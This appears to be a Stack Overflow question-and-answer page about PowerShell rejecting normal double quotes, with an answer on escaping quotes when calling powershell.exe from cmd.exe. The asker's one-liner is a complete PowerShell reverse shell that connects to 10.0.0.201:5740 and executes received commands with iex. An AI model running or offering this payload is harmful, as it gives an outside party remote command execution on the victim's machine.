powershellcommand-line-interfaceescapingquoting

Powershell not accepting normal quotation marks


I've been pulling my hair out all day because of this issue.

I'm working on a powershell one-liner and Powershell is being picky with what quotation mark I use. vs ", with powershell requiring the former.

Ultimately, the big issue I'm having is that the powershell command won't work if I use the normal quotation marks. Below is the command, followed by the error that is occuring. If I use the weird quotation mark (instead of all of the normal double quotation marks) the command will work fine. It requires this weird quotation mark. Does anyone know what is happening here? Theoretically they should both work, but they definitely do not. My use case prevents me from being able to type the weird quotation mark.

powershell 'Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[10.0.0.201](https://10.0.0.201)",5740)) -    Name client;Set-Variable -Value ($client.GetStream()) -Name stream;\[byte\[\]\]$bytes = 0..65535|%{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (iex $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value ($sendback + "PS " + (pwd).Path + "> ") -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

The error:

At line:1 char:468

\+ ...  Out-String ) -Name sendback;Set-Variable -Value ($sendback + PS  + ( ...

\+                                                                  \~

You must provide a value expression following the '+' operator.

At line:1 char:469

\+ ... t-String ) -Name sendback;Set-Variable -Value ($sendback + PS  + (pwd ...

\+                                                                \~\~

Unexpected token 'PS' in expression or statement.

At line:1 char:468

\+ ...  Out-String ) -Name sendback;Set-Variable -Value ($sendback + PS  + ( ...

\+                                                                  \~

Missing closing ')' in expression.

At line:1 char:489

\+ ... endback;Set-Variable -Value ($sendback + PS  + (pwd).Path + > ) -Name ...

\+                                                                  \~

Missing file specification after redirection operator.

At line:1 char:262

\+ ... lue ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Var ...

\+                                                                 \~

Missing closing '}' in statement block or type definition.

At line:1 char:490

\+ ... dback;Set-Variable -Value ($sendback + PS  + (pwd).Path + > ) -Name s ...

\+                                                                 \~

Unexpected token ')' in expression or statement.

At line:1 char:650

\+ ... ;$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client ...

\+                                                                 \~

Unexpected token '}' in expression or statement.

\+ CategoryInfo          : ParserError: (:) \[\], ParentContainsErrorRecordException

\+ FullyQualifiedErrorId : ExpectedValueExpression

Solution

  • Update:

    Your Reddit cross-post reveals that you're trying call the PowerShell CLI from inside PowerShell:


    The following discusses calling the PowerShell CLI from cmd.exe / from outside PowerShell in general.


    tl;dr


    The keys to making your call to powershell.exe, the Windows PowerShell CLI, work as intended from cmd.exe / outside PowerShell[1] are:

    Here's a simplified command that implements all the tips above:

    :: From cmd.exe / a batch file
    :: Note the overall "..." quoting, use of \" for embedded double quotes
    :: and use of foreach instead of %
    powershell "Write-Output \"hello, world\" 2>&1 | foreach { \"[$_]\" }"
    

    You should be able to fix your command accordingly (which, as currently shown in the question, has additional problems, unrelated to quoting and escaping).


    As for using non-ASCII ("Unicode") double quotes:

    That is, the use of the non-ASCII-range and characters effectively saves you from the need to escape them - both in unquoted tokens and inside normal "..."

    However, this behavior is both obscure and visually subtle and should not be relied upon: instead, use normal double quotes consistently and escape pass-through ones as \", as discussed above.

    As an aside: Regular console windows (conhost.exe) won't even allow you to paste the non-ASCII-range double quotes: they are converted to normal ones. You can, however, paste them in Windows Terminal and in the Windows Run dialog (WinKey-R).


    [1] From inside PowerShell, there's rarely a need to call the PowerShell CLI; if needed, the best way to do so is by passing the commands as a script block ({ ... }) - see this answer.